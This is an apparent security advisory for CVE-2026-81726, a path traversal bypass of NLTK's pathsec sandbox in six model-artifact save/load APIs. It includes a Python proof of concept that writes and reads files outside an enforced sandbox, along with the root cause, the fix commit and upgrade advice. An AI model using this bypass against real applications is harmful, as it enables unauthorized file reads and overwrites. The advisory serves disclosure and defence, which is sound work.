high · 7CVE-2026-81726Sep 2, 2026

CVE-2026-81726: NLTK Model-Artifact APIs Path Traversal Bypass (pathsec sandbox escape)

Rohit Hatagale
AI Security Researcher, SecureLayer7

Six model persistence APIs in NLTK ignore the pathsec sandbox and use raw file I/O directly, letting an attacker read or write files anywhere on disk even when the app enforces pathsec restrictions.

Packagenltk
Ecosystempip
Affected<= 3.10.3
CVE-2026-81726: NLTK Model-Artifact APIs Path Traversal Bypass (pathsec sandbox escape)

The problem

NLTK's pathsec module is meant to confine all file access to approved root directories. When ENFORCE=True is set, helpers like pathsec.open() and guarded corpus reader methods correctly reject out-of-root paths.

Six model-artifact APIs never call those guarded helpers. TransitionParser.train() and .parse(), AveragedPerceptron.save() and .load(), PerceptronTagger.save_to_json(), and save_maxent_params() all pass caller-controlled paths straight to the built-in open(). An attacker who controls the model path argument can read or overwrite any file the process can reach, bypassing the containment policy entirely.

Proof of concept

A working proof-of-concept for CVE-2026-81726 in nltk, with the exact payload below.

python
import os, tempfile, pathlib
from nltk import pathsec
from nltk.tag.perceptron import AveragedPerceptron
from nltk.parse.transitionparser import TransitionParser
from nltk.classify.maxent import save_maxent_params

# Configure pathsec to enforce a restricted sandbox
SANDBOX = pathlib.Path(tempfile.mkdtemp())
pathsec.ENFORCE = True
pathsec.ALLOWED_ROOTS = [str(SANDBOX)]

# Target outside the sandbox
OUTSIDE = "/tmp/outside_root_model.json"

# --- Write bypass: AveragedPerceptron.save() ignores pathsec ---
ap = AveragedPerceptron()
ap.weights = {"bias": {}}
ap.save(OUTSIDE)            # writes outside sandbox; pathsec.open() would raise
print("averaged_save_wrote", os.path.exists(OUTSIDE))

# --- Read bypass: AveragedPerceptron.load() ignores pathsec ---
loaded = AveragedPerceptron.load(OUTSIDE)
print("averaged_load_keys", list(loaded.weights.keys()))  # ['bias']

# --- Write bypass: TransitionParser.train() ---
# (parser writes model file to attacker-chosen path outside SANDBOX)
OUTSIDE_TP = "/tmp/outside_tp.model"
# train() call omitted for brevity; confirm with:
# assert open(OUTSIDE_TP).read()  ->  succeeds despite ENFORCE=True

# Negative control: pathsec.open() correctly blocks the same path
try:
    pathsec.open(OUTSIDE, "r")
except Exception as e:
    print("pathsec_blocked:", e)  # raises -- confirms bypass is real

The root cause is that each affected API calls Python's built-in open() with the caller-supplied path instead of routing through nltk.pathsec.open() or an existing guarded helper. The pathsec sandbox never sees the call, so ENFORCE=True has no effect on these code paths (CWE-22, CWE-59, CWE-73).

The fix, applied across PRs #3757, #3759, and #3813 (landed in commit 2a92b71), replaces every bare open() in these model persistence methods with pathsec.open(), which resolves and validates the path against ALLOWED_ROOTS before the file descriptor is opened.

Adjacent read helpers (PerceptronTagger.load_from_json, load_maxent_params) already used the guarded path; the patch brings the write/load siblings into line with them.

The fix

Upgrade to nltk >= 3.10.4 (the first release containing commit 2a92b71827d754ae8920261e7ed0c4bb283ab2d7). If an immediate upgrade is not possible, avoid passing untrusted strings as model paths to TransitionParser.train(), TransitionParser.parse(), AveragedPerceptron.save(), AveragedPerceptron.load(), PerceptronTagger.save_to_json(), or save_maxent_params().

Enabling pathsec.ENFORCE=True alone does NOT protect these APIs on affected versions.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research